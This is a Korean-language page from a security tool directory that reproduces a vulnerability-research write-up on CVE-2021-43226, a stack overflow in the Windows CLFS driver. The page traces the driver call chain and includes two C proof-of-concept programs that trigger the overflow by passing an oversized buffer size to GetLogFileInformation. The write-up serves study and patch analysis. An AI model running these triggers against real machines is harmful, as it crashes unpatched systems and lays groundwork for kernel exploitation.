Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2021-43226PoC — cve-2021-43226의 개념 증명, Windows 드라이버 clfs.sys의 스택 오버플로우 | Kitploit
도구/GitHubGitHub/rosayxy/cve-2021-43226poc
Vulnerability AnalysisExploitationBinary Exploitation
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

cve-2021-43226의 개념 증명, Windows 드라이버 clfs.sys의 스택 오버플로우

저장소 보기
212년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-43226 재현

환경

운영 체제: Hyper-V의 Win10 20H2 빌드 번호 19042.508, 웹사이트 https://os.click/en 발견, Windows 이미지가 비교적 완전하고 아직 백도어를 발견하지 못했습니다.
찾은 PoC는 Visual Studio 2013으로 컴파일되었기 때문에 저도 Visual Studio 2013을 사용하여 정적으로 링크했습니다.

취약점

취약점은 clfs.sys의 CClfsLogFcbVirtual::QueryLogFileInfo 함수에 있습니다. clfs.sys는 Microsoft 문서에서 다음과 같이 설명됩니다:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

이 함수의 첫 번째 포인터는 CClfsLogFcbVirtual* this입니다. 패치 전후의 코드를 비교하면 다음과 같은 코드에서 직관적인 차이를 확인할 수 있습니다. v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size); 앞에서 Size를 120으로 설정했는지 여부.

이 함수에서 호출되는 다른 매개변수 중에서 a2는 FILE_OBJECT이고, Src는 스택의 배열입니다(IDA는 __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF로 디컴파일했습니다). 그리고 이 취약점에 대한 설명은 스택 오버플로우이며, Size가 120보다 크면 스택 오버플로우가 발생할 것으로 추측됩니다.

겪은 한 가지 문제는 cross reference를 직접 확인할 수 없다는 것입니다. 이 함수는 __guard_dispatch_icall_fptr을 통해 호출되며, 현재 함수 호출에서 인자 전달 과정을 확인 중입니다.

(업데이트): 이 함수는 ClfsQueryLogFileInformation 또는 CClfsRequest::LogFileInfo 두 함수에 의해 호출되며, 각각 CreateLogFile과 GetLogFileInformation 두 API를 사용합니다. 그중 GetLogFileInformation의 호출 체인이 훨씬 짧기 때문에 이 API를 선택하여 crash를 발생시킵니다.

GetLogFileInformation 호출 시 마지막 단계의 인자 전달은 다음과 같으며, LogFileInfo 함수 내에 있습니다.

root@kitploit:~
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

여기서 v14는 FileObject이고, this는 LogFileInfo에 인자로 전달된 CClfsRequest입니다.

계속해서 LogFileInfo를 호출하는 함수를 살펴보면, CClfsRequest::Dispatch입니다(구체적인 선언은 __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). 이 함수는 LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;를 통해 구체적으로 어떤 함수를 호출할지 결정하며, 여기서 CurrentStackLocation은 struct이고 struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx가 인자로 전달됩니다. this의 할당은 상위 함수가 dispatch에 전달한 인자에 의존하므로, 더 상위를 살펴보겠습니다.

다음은 CClfsDispatchIoRequest 함수로, v7 = CClfsRequest::Dispatch(v4, Irp, a1);입니다. a1과 Irp는 전달된 인자이며, a1은 DeviceObject, Irp는 PIRP 타입, 즉 IRP에 대한 포인터입니다(IRP는 https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp 참조). v4 할당은 다음과 같습니다:

root@kitploit:~
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6);//v4는 int64 타입

계속해서 인자 전달을 살펴보면, CClfsDriver::LogIoDispatch 함수에 도달합니다. 이 함수는 자신이 받은 인자를 그대로 CClfsDispatchIoRequest 함수에 전달합니다.

한 단계 더 올라가면 nt!IofCallDriver 함수입니다. 이 함수의 선언은 NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );입니다.

재현

먼저 API의 구체적인 선언과 매개변수 의미를 찾아봅니다.

GetLogFileInformation:

root@kitploit:~
CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

매개변수 정의는 다음과 같습니다:

  • hLog: CreateLogFile 호출 성공으로 얻은 열린 로그의 핸들입니다. 로그 핸들은 전용 로그 또는 다중화 로그를 참조할 수 있습니다.
  • pinfoBuffer: 로그 메타데이터를 수신하는 사용자 할당 CLFS_INFORMATION 구조체를 가리키는 포인터
  • cbBuffer: 변수를 가리키는 포인터로, 입력 시 pinfoBuffer가 가리키는 메타데이터 버퍼의 크기(바이트 단위)를 지정합니다.
root@kitploit:~
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//create log file
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION)는 120, 즉 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

여기서 CreateLogFile과 GetLogFileInformation의 매개변수는 Microsoft 문서를 따라 작성하면 됩니다 (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).

그러나 logname에 약간의 문제가 있었습니다. 처음에는 기본적으로 문서에 있는 대로

예: 경로 "LOG:c:\MyDirectory\MyLog"는 파일 "c:\MyDirectory\MyLog.blf"를 생성합니다.

그러나 이렇게 하면 현재 디렉토리에 c라는 이름의 로그 파일이 생성된다는 것을 발견했습니다. 그래서 PoC(Others)를 보고 Windows 시스템의 일반적인 경로 작성법인 "LOG: C:\MyLog"로 변경했습니다. 하지만 이것도 작동하지 않았고, 디버깅 결과 CClfsLogFcbVirtual::QueryLogFileInfo가 아닌 CClfsLogFcbPhysical::QueryLogFileInfo 함수가 호출되는 것을 발견했습니다. 그래서 LogStreamName을 추가하니 작동했습니다.

또 하나의 작은 문제는 Visual Studio에서 코드를 생성할 때 정적 링크를 사용하는데, #pragma comment(lib,"clfsw32.lib") 한 줄이 없으면 linker가 CreateLogFile, GetLogFileInformation을 찾을 수 없다고 반복해서 오류를 보고한다는 것입니다.

PoC(Others)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

root@kitploit:~
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
도구 다운로드